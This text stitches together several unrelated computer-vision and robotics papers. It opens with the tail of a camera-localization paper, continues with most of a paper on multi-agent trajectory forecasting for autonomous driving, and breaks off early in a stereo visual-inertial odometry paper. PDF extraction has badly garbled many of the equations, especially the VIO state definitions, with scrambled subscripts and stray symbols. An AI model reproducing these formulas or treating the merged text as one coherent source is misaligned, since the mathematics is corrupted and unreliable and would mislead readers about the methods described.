required. In future work, we aim to pursue further fusion 
between CNN-based methods and traditional metric-based 
methods for camera localization. And an integration of 
different sensor modalities may also improve camera 
localization.  
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Abstract
Trajectory forecasting, or trajectory prediction, of
multiple interacting agents in dynamic scenes, is
an important problem for many applications, such
as robotic systems and autonomous driving. The
problem is a great challenge because of the com-
plex interactions among the agents and their inter-
actions with the surrounding scenes. In this pa-
per, we present a novel method for the robust tra-
jectory forecasting of multiple intelligent agents in
dynamic scenes. The proposed method consists of
three major interrelated components: an interaction
net for global spatiotemporal interactive feature ex-
traction, an environment net for decoding dynamic
scenes (i.e., the surrounding road topology of an
agent), and a prediction net that combines the spa-
tiotemporal feature, the scene feature, the past tra-
jectories of agents and some random noise for the
robust trajectory prediction of agents. Experiments
on pedestrian-walking and vehicle-pedestrian het-
erogeneous datasets demonstrate that the proposed
method outperforms the state-of-the-art prediction
methods in terms of prediction accuracy.

1 Introduction
Trajectory prediction of agents in dynamic scene is a chal-
lenging and essential task in many fields, such as social-aware
robotic systems [Van den Berg et al., 2011], autonomous driv-
ing [Ma et al., 2019b] and behavior understanding [Liang et
al., 2019]. Intelligent agents, such as humans, vehicles, and
independent robots, are supposed to be able to understand
and forecast the movement of the others to avoid collisions
and make smarter movement plans. Trajectory prediction
has been studied extensively. Traditional prediction meth-
ods, such as the Gaussian process regression [Rasmussen and
Williams, 2005], the kinematic and dynamic method [Toledo-
Moreo and Zamora-Izquierdo, 2009] and the Bayesian net-
works method [Lefèvre et al., 2011], ignore the interactions
among the agents and are only able to make short term pre-
dictions. Recently, Recurrent Neural Network (RNN) and its
variants [Alahi et al., 2016], such as Long Short-Term Mem-
ory (LSTM) and Gated Recurrent Unit (GRU), have shown
promising ability in capturing the dynamic interactions of

agents and a great number of trajectory prediction methods
have been proposed based on them.

However, trajectory prediction is still a challenging task
because of the several properties of it: 1) When intelligent
agents move in public, they often interact with other agents
such as human or obstacles in the scene, which is named as
the social behavior. Actions, including collision avoidance
and moving in groups, require the ability to forecast the pos-
sible movements or actions of the other agents. The social
interactions may not be confined to nearby agents or obsta-
cles. 2) The movement of agents is not only dependent on
the nearby agents, but is also influenced by the surrounding
physical scene, i.e., the dynamic scene. One important fac-
tor of the scene is the road topology, such as intersections,
turns, and slip lanes. Certain road topology can significantly
influence the speed and direction of the moving agents. An
autonomous agent should be always moving on a feasible ter-
rain. 3) The multi-modal motion property illustrates that
the interactive agents may follow several viable trajectories
as there is a rich choice of reasonable movements. When
two independent agents move toward each other, there are
many possible different future trajectories that could avoid
collision, such as moving to the left, to the right, or stop.

In this study, we propose a novel robust trajectory forecast-
ing method for multiple intelligent agents in dynamic scene.
The main contributions of this paper are summarized as fol-
lows.

• We model the global spatio-temporal interaction through
an interaction net with a soft agent-tracking module. The
interaction net not only considers the current locations
and interaction of the agents, but also the temporal inter-
actions among the agents by the hidden states of LSTMs
on past trajectories.

• An environmental net is introduced to encode the dy-
namic scene. The surrounding road topology, such as
interactions, turns and slip lanes, is firstly transformed
into an high-definition map and then the map is encoded
by a pre-trained convolutional neural network.

• Our trajectory prediction net combines the feature of
spatio-temporal interaction, the environment feature,
and the past trajectory to forecast the future trajectory
of all the agent. Attention model is used to adaptively
encode the spatio-temporal interaction of an agent with
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the others.

The rest of this paper is structured as follows: in Section
2, some related work is reviewed. The proposed robust tra-
jectory prediction method is introduced in Section 3. Exper-
imental comparisons with the state-of-the-art trajectory pre-
diction methods on benchmark datasets are presented in Sec-
tion 4. Finally, the conclusion is drawn in Section 5.

2 Related Work
2.1 RNN networks and trajectory prediction
Recurrent neural networks (RNN) and its variants, such as
LSTM and GRU, have been shown very successful in many
sequence forecasting tasks [Chung et al., 2014]. Therefore,
many researches focusing on using RNN and its variants for
trajectory prediction. A simple and scalable RNN architec-
ture for human motion prediction is proposed by [Martinez
et al., 2017]. The CIDNN method [Xu et al., 2018] uses the
inner product of the motion features, which are obtained by
LSTMs, to encode the interactions among agents and feeds
the interaction features into a multi-layer perceptron for pre-
diction. By using separate LSTMs for heterogeneous agents
on road, the VP-LSTM method [Bi et al., 2019] is designed to
learn and predict the trajectories of both pedestrians and vehi-
cles simultaneously. In [Choi and Dariush, 2019], a relation
gate module is proposed to replace the LSTM unit for captur-
ing a more descriptive spatio-temporal interactions, and both
human-human and human-scene interactions from local and
global scales are used for future trajectory forecast. These
studies indicate that RNN alone is unable to handle complex
scenarios, such as interactions, physical scene and road topol-
ogy. Additional structure and operations are always required
for accurate, robust and long term prediction.

2.2 Social behaviors and interactions
Based on handcraft rules and functions, the social force mod-
els [Helbing and Molnár, 1995; Pellegrini et al., 2010] use
attractive and repulsive forces to describe the interactions of
pedestrians in crowd. However, the handcraft rules and func-
tions are unable to generalize for complex interaction sce-
narios. Instead of handcraft parameters, recent methods use
RNN and its variants to learn the parameters directly from
data. Social-LSTM [Alahi et al., 2016] proposes a social
pooling layer to model interactions among nearby agents,
where the pooling layer uses LSTMs to encode and decode
the trajectories. In [Su et al., 2017], the method uses LSTMs
with social-aware recurrent Gaussian processes to model the
complex transitions and uncertainties of agents in crowd. The
SoPhie method [Sadeghian et al., 2019] uses the information
from both the physical scene context and the social interac-
tions among the agents for prediction. The TraPHic method
[Chandra et al., 2019] proposes to use both the horizon-
based and the heterogeneous-based weights to describe in-
teractions among road agents. A Generative Adversarial Net-
work (GAN) is applied in the social-ways method [Amirian
et al., 2019] to derive plausible future trajectories of agents,
where both generator and discriminator networks of the GAN
are built by LSTMs.

2.3 Graph models for trajectory prediction
Many previous studies formulate interactions of agents as
graphs, where nodes refers to the agents, and edges are used
to represent the pairwise interactions. Edge weights are
used to quantify the importances of the agents to each other.
The social-BiGAT method [Kosaraju et al., 2019] proposes a
graph attention network to encode the interactions among hu-
mans in a scene and a recurrent encoder-decoder architecture
to predict the trajectory. A dynamic graph-structured model
for multimodal trajectories prediction, which is named as the
Trajectron, is proposed in [Ivanovic and Pavone, 2019]. Con-
structed on a 4-D graph, the TrafficPredict method [Ma et
al., 2019a] consists of two main layers, an instance layer to
learn interactions and a category layer to learn the similari-
ties of instance of the same type. TrafficPredict has shown
promising results for trajectory prediction of heterogeneous
road agents such as bicycles, vehicles and pedestrians. The
STGAT method [Huang et al., 2019] first uses an LSTM to
capture the trajectory information of each agent and applies
the graph attention network to model interactions in agents at
every time step. Then STGAT adopts another LSTM to learn
the temporal correlations for interactions explicitly.

3 The Proposed Method
3.1 Problem Formulation
In this study, we consider two types of mobile agents: the
ego-agent and the other agents. The spatial coordinates of
all agents from time step 1 to Tobs are given to predict their
future locations from time step Tobs+1 to Tpred. The general
formulation of trajectory prediction is represented as,

Prediction{θ} :
{
{Xi}Ni=1, Xego, Yego

}
�−→ {Yi}Ni=1,

where Xi and Yi denote the past and future trajectories of
the i-th agent, respectively, Xego and Yego stand for the tra-
jectories of the ego-agent, and θ denotes the model parame-
ters. Different from previous studies, we consider the predic-
tion problem on the real autonomous driving system where
the planned trajectory for the ego-agent Yego is given for ref-
erence. The planned trajectory can improve the prediction
accuracy because it brings some prior knowledge on the fu-
ture. Specifically, either an observed or a future trajectory can
be expressed as a set of temporal coordinates Xi(or Yi) ={(

x
(1)
i , y

(1)
i

)
,
(
x
(2)
i , y

(2)
i

)
, · · · ,

(
x
(t)
i , y

(t)
i

)}
. We use

p
(t)
i =

(
x
(t)
i , y

(t)
i

)T

to denote the location of the i-th agent
at time step t, and set the id of the ego-agent be 0.

As is shown in Fig. 1, our proposed approach consists of
three interrelated components: an interaction net for spatio-
temporal interactive feature extraction, an environment ex-
ploration network for decoding dynamic physical scene (i.e.,
the surrounding road topology), and a trajectory prediction
network. Each component and the implementation details of
the proposed method is described in details as follows.

3.2 Interaction Net
The Agent Interaction Network (AIN) is designed to encode
the interaction feature among all the agents in the dynamic
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Figure 1: Overview of the proposed method. The proposed method contains three components, a spatio-temporal interaction network, an
environment feature extraction network, and a trajectory prediction network.

scenario. As opposed to the pairwise interactive feature by
attention models in previous studies, our method is able to
capture the collective influence among the agents. Besides,
our method could consider the future movement of the ego-
agent for reference. The AIN takes three information sources
of all agents as input: the past trajectories, the hidden states
of LSTMs and the planned trajectory of the ego-agent. Given
these data, AIN computes the global spatio-temporal inter-
agents interactions and the future ego-others interaction.

Figure 2: An example to show global interaction with or without
tracking information. The top subfigures present the locations of
two agents at adjacent time steps without tracking information. The
bottom subfigures show the locations of two agents at adjacent time
steps with tracking information.

Global spatio-temporal inter-agents interaction
The past trajectories of all agents contain the latent patterns of
the interactive movement in dynamic scenario. In this mod-
ule, we intend to learn the latent patterns through a neural net-
work. The learned latent feature represents the global spatio-

temporal interaction of all agents on road.
Given the locations of all agents at a time step t, we utilize

the linear and maxpooling functions to produce the global po-
sition feature of size 1× do, which is given as below:

e
(t)
o,i = Wop

(t)
i + bo, ∀i ∈ {0, . . . , N} , (1)

o(t) = Maxpool

(
Cat

([
e
(t)
o,0

T
, · · · , e(t)o,N

T
]
, 1

))
, (2)

where Wo ∈ Rdo×2 and bo ∈ Rdo are the weight matrix and
bias of the embedding layer. Cat ([·] , 1) denotes the con-
catenation function which joints all the inputs along the first
dimension. The Maxpool (·) function squeezes the spliced
data along the same dimension, i.e., the batch dimension.

Moreover, a key problem for the position feature given in
Eq. (2) is the temporal issue. Process without temporal in-
formation ignores the past interaction and may lead to per-
formance drop. As can be seen in top subfigures of Fig. 2,
the locations of two agents (two circles) at two adjacent time
steps are shown. Without tracking information (the agent id),
it is impossible to know which agent and how the agent inter-
acts the blue triangle in the time span. There are two different
possible motion behavior of the agents from time step k to
k + 1, as is shown in the bottom subfigures of Fig. 2. In case
1, both the two agents could interact with the blue triangle.
And in case 2, the blue triangle is more likely to interact with
the agent 2.

To address the temporal issue, we use the hidden states of
the LSTMs in the prediction network to track the locations
of all agents. The global tracking feature r(t) ∈ R1×dr is
obtained as follows,

e
(t)
r,i = Wrh

(t)
i + br, ∀i ∈ {0, . . . , N} , (3)

r(t) = Maxpool

(
Cat

([
e
(t)
r,0

T
, · · · , e(t)r,N

T
]
, 1

))
, (4)
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where Wr and br are the layer parameters, and h
(t)
i = h

(t)
e,i

when t ≤ Tobs, h(t)
i = h

(t)
h,i when t ≥ Tobs + 1.

On real autonomous driving system, one is given the
planned trajectory of ego-agent to address the issue of coor-
dinate system transformation (from the world coordinate sys-
tem to relative coordinate system where the ego-agent centers
the origin). From ego-perspective, the global inter-agents in-
teraction module can be mathematically expressed as below:

m(t) = Wm

(
p
(t)
0 − p

(t−1)
0

)
+ bm, (5)

h(t)
gru = GRU

(
Cat

([
o(t), r(t),m(t)

]
, 2
))

, (6)

st(t) = Wsh
(t)
gru + bs, (7)

where the linear layer with parameter Wm and bm embeds the
displacement of the ego-vehicle at two adjacent times into a
feature in R1×dm . It is worth noting that here we concate-
nate three kinds of features along the 2nd dimension and pro-
duce a comprehensive representation of size 1× dst. Dimen-
sion length dst equals to (do + dr + dm). GRU is similar to
LSTM except that it uses less parameters and converge faster
with fewer training samples. GRU is used here because the
number of ego-agents is much smaller than the number of
other mobile agents in our problem.

Future ego-trajectory interaction
As the planned trajectory is given, the surrounding agents are
inclined to adjust their future motion for collision avoidance.
Given ego-trajectory Y0, we first map it into a high-dimension
space using an embedding layer and then pass the obtained
embedded feature through a maxpooling function to generate
the integrated representation f t ∈ R1×df of the ego-agent.
This representation is what we call a future ego-trajectory
feature as it can influence the trajectories of the other on-road
agents. The overall process is formulated as follows.

e
(k)
f,0 = Wfp

(k)
0 + bf , ∀k, k ∈ [t+ 1, Tpred] ,

f (t) = Maxpool

(
Cat

([
e
(t+1)
f,0

T
, · · · , e(Tpred)

f,0

T
]
, 1

))
,

Finally, as show in Fig. 1, the output of the AIN fst(t) ∈
R1×(df+dst) is obtained as below:

fst(t) = Cat
([

f (t), st(t)
]
, 2
)
. (10)

3.3 Environment Network
Road topology, such as intersections, turns, and slips, have
significant influence on both the speed and directions of the
agents. Therefore, it is an important factor in predicting the
trajectories of agents. Here we use a network to encode the
road topology, where the network is named as the Environ-
ment Network (EN). In our method, EN explicitly extracts the
drivable area from a High Definition (HD) map. The center
lines of the roads are normalized by subtracting the location
of the ego-agent for the ego-perspective. And then, we trans-
form the processed lines of roads into a semantic image I of
the map of resolution H × W . That is to say, the ego-agent
always locates at the center of the image. Besides, to ensure

the consistency of the image and the map, the road areas is
trimmed with a fixed size of h× w meters from the HD map
around the ego-agent. Then, the resolution of the semantic
image is [h/H,w/W ] meters per pixel. At any time step, EN
takes the road image I as input and encodes the environment
through a pre-trained ResNet18 network [He et al., 2016].
The output of the 2nd block of ResNet18 is used as the map
feature. Compare to the size of image I, the map feature is
downsampled by a factor of 8.

Given the location of an agent, we pool the local road rep-
resentation at its current location from the computed map
feature. The environmental information within Rs meters
around the agent is extracted from the obtained map feature.
Thus, the corresponding Region Of the Interest (ROI) on the
feature maps has a spatial window of [HRs/4h,WRs/4w].
We apply ROIAlign on the receptive field to generate a fixed
size representation G

(t)
i ∈ RC×K×K , where C is the number

of output channels in the last layer, and K is the pooling size.
As environment feature G(t)

i is produced, we feed it to an em-
bedding layer for dimension reduction and feature extraction.
The computation of the embedding operation is written as:

g
(t)
i = Reshape

(
G

(t)
i , [C ×K ×K, 1]

)
, (8)

v
(t)
i = Wvg

(t)
i + bv, (9)

where the function Reshape (·) is used to adjust shape size
of the target tensor, Wv and bv are the layer parameters, and
the dimension of the v(t) is dv .

3.4 Trajectory Prediction Network
The global spaio-temporal interaction and the environment
information are encoded by the AIN and the EN, respectively.
Besides, given the location of a moving agent, i.e., the i-th
one, we first compute the local area interaction around the
agent through an attention model. This is because an individ-
ual always focuses on the surrounding regions as it moves.
The attention model is presented below:

e
(t)
c,i = σ

(
Wcp

(t)
i + bc

)
, (10)

q
(t)
i =

(
fst(t)

)T

� e
(t)
c,i , (11)

where Wc and bc are the parameters of the embedding layer,
σ (·) is the sigmoid activation function, and � is the element-
wise vector-vector or matrix-matrix operation. This layer
maps the input into an attention weight e(t)c,i which has the
same dimensionality as fst(t).

Following previous works, we utilize an LSTM-based
sequence-to-sequence model to solve the prediction problem.
For each obstacle, the encoder takes the observed trajectory
as input at the first Tobs time steps:

e
(t)
p,i = Wp

(
p
(t)
i − p

(t−1)
i

)
+ bp, (15)

h
(t)
e,i = LSTME

(
h
(t−1)
e,i ,

[
e
(t)
p,i, v

(t)
i , q

(t)
i

])
, (16)

where Wp and bp are the weights and bias respectively. h(t)
e,i

is the hidden states of the encoder LSTME. Here we set the
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Table 1: Experimental Results (ADE/FDE) on the ETH and UCY datasets.

Method\Dataset ETH-univ ETH-hotel UCY-univ UCY-zara01 UCY-zara02 AVG
Linear (Single) 1.33/2.94 0.39/0.72 0.82/1.59 0.62/1.21 0.79/1.59 0.79/1.59
LSTM (Single) 1.09/2.41 0.86/1.91 0.61/1.31 0.41/0.88 0.52/1.11 0.70/1.52
Social LSTM 1.09/2.35 0.79/1.76 0.67/1.40 0.47/1.00 0.56/1.17 0.72/1.54

Social GAN (20V-20) 0.81/1.52 0.72/1.61 0.60/1.26 0.34/0.69 0.42/0.84 0.58/1.18
Social GAN (20VP-20) 0.87/1.62 0.67/1.37 0.76/1.52 0.35/0.68 0.42/0.84 0.61/1.21

Social Way 0.39/0.64 0.39/0.66 0.55/1.31 0.44/0.64 0.51/0.92 0.45/0.83
Sophie 0.70/1.43 0.76/1.67 0.54/1.24 0.30/0.63 0.38/0.78 0.54/1.15

Our method 0.39/0.79 0.51/1.05 0.25/0.56 0.30/0.61 0.36/0.73 0.36/0.75

hidden state to zero vector at the time step 0. The decoding
process from time step Tobs + 1 to Tpred has a similar flow
with the encoding phase, and we use the predicted coordi-
nates as input:

e
(t)
p,i = Wp

(
p̂
(t)
i − p̂

(t−1)
i

)
+ bp, (17)

In practice, we set p̂(Tobs)
i to p

(Tobs)
i . Our approach forecasts

obstacle’s position at each prediction moment using the hid-
den states of the deocder LSTMD:

h
(t)
d,i = LSTMD

(
h
(t−1)
d,i ,

[
e
(t)
p,i, v

(t)
i , q

(t)
i

])
, (18)

∆p̂
(t+1)
i = Wuh

(t)
d,i + bu, (19)

p̂
(t+1)
i = p̂

(t)
i +∆p̂t+1

i . (20)

Furthermore, to capture the multi-modal distribution of
the movement and increase the robustness of the proposed
method, we introduce a gaussian random noise into the de-
coder to generate multiple plausible trajectories. Specifically,
we initialize the hidden state of the LSTMD using the last
state of the LSTME:

e
(Tobs)
h,i = Cat

([
h
(Tobs)
e,i , z

]
, 1
)
, (21)

h
(Tobs)
d,i = Wφe

(Tobs)
h,i + bφ, (22)

where z is some gaussian random noise.

3.5 Implementation Details
Our network is trained end-to-end by minimizing the mean
square error as below:

L =
1

NT
min

i∈{1...H}

N∑
j=1

Tpred∑
t=Tobs+1

(
p̂
(t)
j,i − p

(t)
j

)2

, (23)

where T is the prediction time steps which equals Tpred −
Tobs. H is the number of modalities (predicted trajectories).
We only back propagate the gradient to the modality with the
minimum error.

We set the output dimensions of all the embedding layers
(exclude attention and noise embedding layer in Trajectory
Prediction Network) to be 64. The GRU in the AIN has 128
cells, while the LSTMs in the Trajectory Prediction Network
have 64 cells. In the EN, the local area size Rs and the pool
size K are set as 20 and 3 respectively. Meanwhile, both the
height H and width W of the road semantic image are set to

224. The road area size h and w are set to be 100 meters.
Our network is trained with a batch size of 8 for 20000 steps
using Adam optimizer with an initial learning rate of 0.0005.
The entire training process is finished in the platform with an
NVIDIA GeForce RTX2080 GPU.

4 Experiments
In this section, we evaluate the proposed method on four
benchmark datasets for future trajectory prediction and
demonstrate our method performs favorably against state-of-
the-art prediction methods. The codes and pre-trained models
of our method will be released to the public.

4.1 Datasets Description
ETH [Pellegrini et al., 2009] and UCY [Lerner et al., 2007]
are two common benchmarks for pedestrian trajectory predic-
tion. These two datasets consists of 5 scenes, including ETH-
univ, ETH-hotel, UCY-zara01, UCY-zara02 and UCY-univ.
There are totally 1536 pedestrians in total with thousands of
nonlinear trajectories. The same leave-one-set-out strategy as
in previous study [Alahi et al., 2016] is used to evaluate the
compared methods.

Besides pedestrian walking datasets, the ApolloScape [Ma
et al., 2019a] and the Argoverse [Chang et al., 2019] datasets
are utilized to demonstrate the performance of the compared
methods. ApolloScape dataset is comprised of different kinds
of traffic agents which include cars, buses, pedestrians and
bicycles. This dataset is very challenging because it is a het-
erogeneous multi-agent system. On the other hand, Argov-
erse dataset contains 327790 sequences of different scenarios.
Each sequence follows the trajectory of ego-agent for 5 sec-
onds while keeping track of all other agents (cars, pedestrians
etc.). The dataset is split into a training data with 208272
sequences and a validation data with 79391 sequences. For
ApolloScape, the trajectories of 3 seconds (6 time steps) are
observed and the prediction methods are required to predict
the trajectory in the following 3 seconds (6 time steps). And
for Argoverse, 2 seconds with 20 time steps are observed and
the methods are required to predict the trajectories in the fol-
lowing 3 seconds with 30 time steps.

4.2 Experimental setup
The experimental results are reported in terms of two eval-
uation metrics, the Average Displacement Error (ADE) and
Final Displacement Error (FDE). ADE is defined as the mean
square error over all prediction points of a trajectory and the
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Table 2: Experimental Results (ADE/FDE) on the ApolloScape Dataset.

Dataset\Method Linear KF LSTM Noise-LSTM Social LSTM Social GAN Our method
ApolloScape 1.95/3.39 2.48/4.33 1.63/2.85 1.49/2.58 1.23/2.11 1.21/2.14 1.11/1.91

Table 3: Experimental Results (ADE/FDE) on the Argoverse Dataset.

Dataset\Method Linear KF LSTM Noise-LSTM Social LSTM Social GAN Our method
Relative coordinate 1.84/3.91. 2.53/5.84 1.47/3.18 1.48/3.17 1.23/2.49 1.31/2.63 1.18/2.45
World coordinate 1.57/3.31 2.56/5.96 1.24/2.63 1.25/2.61 1.22/2.45 1.32/2.67 1.15/2.29

Table 4: Ablation Study on the Argoverse Dataset.

Method Component Metric
PF TF EMF ETF EF ADE FDE

Baseline - - - - - 1.48 3.17
Our-v1 � - - - - 1.32 2.70
Our-v2 � � - - - 1.24 2.56
Our-v3 � � � - - 1.22 2.51
Our-v4 � � � � - 1.19 2.47
Our-full � � � � � 1.18 2.45

ground truth points of the trajectory, whereas FDE is the dis-
tance between the predicted final location and the ground
truth final location at the end of the prediction time period.

We use the the linear regressor, the extended Kalman Filter
(KF), and the vanila-LSTM as the baselines. Moreover, many
state-of-the-art trajectory prediction methods are compared.
Social-LSTM [Alahi et al., 2016] is a prediction method that
combines LSTMs with a social pooling layer. Social-GAN
[Gupta et al., 2018] applies a GAN model to social LSTMs
for prediction. Social-Way [Amirian et al., 2019] utilizes a
GAN model to propose plausible future trajectories and train
the predictor. Sophie [Sadeghian et al., 2019] introduces a
social and physical attention mechanism to a GAN predictor.

Because there is no HD map information and the planned
trajectory for the ego-agent, there is no ego-trajectory feature,
ego-motion feature and environment feature in the proposed
method for the ETH & UCY, and the ApolloScape datasets.
For Argoverse dataset, the proposed method with all the fea-
tures and components is implemented for comparisons.

4.3 Performance Evaluation
ETH & UCY The experimental results on the ETH and
UCY datasets are presented in Table 1. As expected, the
baselines, the Linear and LSTM, are incapable in captur-
ing the complexity patterns in the trajectories of pedestrians.
Our method outperforms the other methods on the UCY-univ
and UCY-zara02 subsets and shows competitive results on
the ETH-univ and UCY-zara01 subsets. On the ETH-hotel,
both linear and social way methods show lower prediction
errors than other methods. This indicate that the trajecto-
ries in ETH-hotel are linearly distributed and thus are simpler
than the other 4 subsets. As the methods are all trained on
the other 4 subsets, these nonlinear predictors, such as So-
cial LSTM, Social-GAN, Sophie, show poor generalization
ability on ETH-hotel. On the other hand, our method still
outperforms Social LSTM, Social-GAN, and Sophie on the
ETH-hotel subset.

AplloScape The performance of the compared methods
on the ApolloScape is shown in Table 2. As can be seen,
the proposed method outperforms the runner-up in term of
ADE/FDE with about 10% improvement in accuracy. It
means that our interaction net has faithfully learn the intrin-
sic interactive patterns and the attention module could extract
the specialized feature for each category of the heterogeneous
traffic-agents

Argoverse Argoverse provides the HD road map and the
planned path for ego-car. The proposed method with all the
components is implemented. The experimental results are
shown in Table 3. As can be seen, the prediction error of
the proposed method is significantly lower than the other
methods. We observe 11% and 4% improvement in ADE
comparing the Social GAN and Social LSTM methods when
the relative coordinate system (ego-perspective) is used. The
improvement in ADE is 14% and 6% comparing the Social
GAN and the social LSTM methods when the world coordi-
nate system is used.

Ablation Study The proposed method is comprised of
multiple separate components, each with different functions.
To show the effectiveness of the components, we perform ab-
lation study of the components of the proposed method and
the results are presented in Table 4. We use PF, TF, EMF,
ETF, EF to represent the position feature, tracking feature,
ego motion feature, ego trajectory feature, and environment
feature of the proposed method, respectively. The results in-
dicate that PF and TF are contributive to the significant im-
provement, and the values of the reduction in prediction error
are 0.47 and 0.14, respectively. And EMF, ETF, EF all show
some level of contributions such that the values of the reduc-
tion in prediction error are 0.5, 0.4 and 0.2, respectively. The
value of the reduction in error is dropping because it is harder
to reduce the prediction error when the error is lower.

5 Conclusion
We propose a new method for trajectory forecasting of mul-
tiple agents in dynamic scenes. The method is able to extract
the global spatio-temporal interaction feature from the past
trajectories, and consider the temporal interactions among
agents by soft tracking. An environment net is introduced in
our method to encode the road topology for accurate predic-
tion. And the prediction net combines the features of spatio-
temporal interactions and environment to prediction the fu-
ture trajectories of agents. Experiments on four benchmark
datasets are presented and the ablation study is implemented
to show the effectiveness of each component of the method.
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Stereo	Visual	Inertial	Odometry	with	
Online	Baseline	Calibration

Yunfei Fan, Ruofu Wang, and Yinian Mao 

Abstract— Stereo-vision devices have rigorous requirements 
for extrinsic parameter calibration. In Stereo Visual Inertial 
Odometry (VIO), inaccuracy in or changes to camera extrinsic 
parameters may lead to serious degradation in estimation 
performance. In this manuscript, we propose an online cali-
bration method for stereo VIO extrinsic parameters correction. 
In particular, we focus on Multi-State Constraint Kalman 
Filter (MSCKF [1]) framework to implement our method. The 
key component is to formulate stereo extrinsic parameters as 
part of the state variables and model the Jacobian of feature 
reprojection error with respect to stereo extrinsic parameters 
as sub-block of update Jacobian. Therefore we can estimate 
stereo extrinsic parameters simultaneously with inertial 
measurement unit (IMU) states and camera poses. Experi-
ments on EuRoC dataset and real-world outdoor dataset 
demonstrate that the proposed algorithm produce higher posi-
tioning accuracy than the original S-MSCKF [2], and the noise 
of camera extrinsic parameters are self-corrected within the 
system. 

I. INTRODUCTION 
 In recent years, high-precision positioning technologies 

have progressed significantly, propelling the advancements 
in multiple application scenarios such as autonomous driv-
ing, robotics and unmanned aerial vehicles (UAVs), and 
augmented and virtual reality (AR and VR). In outdoor en-
vironments, GNSS such as GPS and RTK can be employed. 
In indoor and GPS-denied environments, Lidar and visual 
SLAM can be used. For applications that are limited by de-
vice size and weight requirements, the applicable positioning 
technology is rather limited in the absence of GPS. Since 
VIO only requires IMU and one or two camera modules to 
estimate ego-motion, it is naturally suitable for such scenar-
ios. It has been reported that stereo-vision VIO system can 
improve the overall estimation accuracy over single-vision 
VIO system (S-MSCKF [2], VINS-Fusion [3,4]). A good 
stereo calibration ensures the epipolar lines of stereo images 
being parallel, which is the foundation for most stereo 
matching algorithms. However, in stereo VIO systems, the 
estimation accuracy heavily depends on camera extrinsic 
parameters calibration. With a poor calibration or slight 
changes in camera parameters during operation, stereo VIO 
positioning accuracy will drop sharply. Even with rigid and 
bulky frames, most stereo cameras cannot ensure that extrin-
sic parameters are unchanged during long course of opera-
tions. Within this context, an accurate calibration algorithm  
that is robust to changes in camera extrinsic parameters is 
highly desired. 

In this paper, we propose a stereo VIO algorithm with 
online calibration to overcome the above issues. The core 
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method is to formulate stereo camera extrinsic parameters 
(rotation and translation) into the set of state variables and 
model the relevance between feature reprojection error and 
stereo extrinsic parameters in update Jacobian, so that the 
stereo extrinsic parameters can be calibrated online as part of 
the state estimation. To accelerate the self-calibration pro-
cess, the initial covariance of stereo extrinsic parameters is 
set to a large value. In addition, during the initial phase of 
the estimation, the threshold of the outlier rejection rule 
based on stereo extrinsic constraint on the algorithm 
frontend is relaxed to avoid too many inliers being mistak-
enly taken out. 

Using EuRoC dataset and real-world outdoor dataset, we 
compare the proposed scheme with other state-of-the-art 
stereo VIO algorithm, specifically S-MSCKF. The experi-
ments show that, without calibration errors, the proposed 
method performs similarly to S-MSCKF. Besides, when 
artificial noises are involved in the calibrated parameters, the 
proposed scheme can achieve rapid self-calibration and out-
performs S-MSCKF in position estimation.  

The rest of this paper is organized as follows: Section II 
introduces related works. Section III introduces system 
framework and derives analytical formulations. Section IV 
compares experimental results of the proposed scheme with 
those of VINS-Fusion [3,4] and S-MSCKF using EuRoC 
dataset and real-world outdoor datasets collected by UAVs 
as well as by a handheld device. Finally, the conclusions are 
summarized in section V. 

II. RELATED WORK 

The current scholarly works in VIO could be roughly di-
vided into loosely-coupled [5,6] and tightly-coupled [1- 4,7] 
methods. Tightly-coupled methods put IMU information 
into state variables and optimize with vision information 
simultaneously, which is a mainstream direction currently. 
Tightly-coupled methods can be divided further into fil-
ter-based and optimization-based. 

VIO methods based on non-linear optimization utilize all 
measurements, including IMU measurements and visual 
measurements, to find the optimal state variables to mini-
mize the measurement error. Stereo VIO based on non-linear 
optimization includes OKVIS [7], VINS-Fusion [3,4], etc. 
Both OKVIS and VINS-Fusion perform online estimation of 
extrinsic parameters between the IMU and each camera, 
separately. However, due to the large number of state varia-
bles, even the current mainstream sliding window based 
VIO methods using non-linear optimization have a consid-
erable demand for computational resource, and it is still dif-
ficult to run in real time on embedded platforms. 

Filter based VIO methods are mainly based on Extended 
Kalman Filter (EKF) [1]. Generally, IMU is used for predic-
tion, while visual information is used for update. They 
achieve almost the same level of accuracy as optimiza-
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tion-based methods using relatively low computational re-
sources. Thus they can run in real time on embedded plat-
forms. S-MSCKF [2] is one of filter-based stereo VIO 
frameworks, which only estimates the extrinsic parameters 
between IMU and left camera online. In order to achieve 
real-time performance, our method is also based on MSCKF 
framework. 

P Hansen et al. [8] and Yonggen Ling et al. [9] proposed 
approaches to estimate stereo extrinsic parameters online. 
They are all based on epipolar geometric constraints for 
online self-calibration of stereo extrinsic. However, because 
pure vision-based methods cannot self-calibrate the baseline 
fully, they can only achieve estimation of stereo extrinsic 
parameters with 5-DOF, while the length of the baseline 
cannot be estimated. Therefore, we use the IMU and the 
cameras jointly, to self-calibrate the 6-DOF stereo extrinsic 
parameters online. 

III. MSCKF ALGORITHM FRAMEWORK 

A. State definition 
Following the definition of MSCKF in [1], IMU state is 

defined below: 

   X" = $ p"&' 	 v"&' 	 q+'" ,	b.
,	b/

,0
1
                    (1) 

In this paper, different from [1, 2], both extrinsic param-
eters E3 and E4 of stereo VIO system shown in Fig. 1, are 
added into IMU states and calibrated online. The extended 
IMU states are defined:  

X" = 

					5 p"&' 	 v"&' 	 q+'" ,	b.
,	b/

,	 q+"6
7 ,	 p67&" 	 q+67

68 ,	 p68&67 9
1
    (2) 

In these expressions,	{G} and {I} are the global and in-
ertial frame respectively, {C3} and {C4} are frame of C3 
and C4 respectively. p"'  and v"'  are position and veloc-
ity of IMU expressed in {G}, respectively. 4 × 1	 q+'"  repre-
sents the rotation from {G} to {I} (in this paper, quaternion 
obeys JPL rules). The vectors b/ and b. are the biases of 
the measured angular velocity and linear acceleration from 
the IMU, separately. q+"6

7  represents the rotation from {I} 
to {C3}, and p67"  is the position of C3 based on frame 
{I} ( q+"6

7  and p67"  are the rotation and translation of ex-
trinsic parameter E3 respectively). Finally, q+67

68  represents 
the rotation from frame {C3} to frame {C4}, and p6867  is 
the position of C4 based on frame {C3} ( q+67

68  and p6867  
are the rotation and translation of stereo extrinsic parameter 
E4 respectively. We treat stereo extrinsic parameters as q+67

68  
and p6867  later). 

The EKF error-state of X" is defined accordingly: 

 
Figure 1.  Structure diagram of sensor, and definition of extrinsic 
parameters 

XB" = 5 pC"' ,	 vC"' ,	 θE'" ,	bE.
,	bE/

,	 θE"6
7 ,	 pC67" ,	 θE67

68 ,	 pC68&67 9
1
 

(3) 

Except for quaternions, other states can be used with 
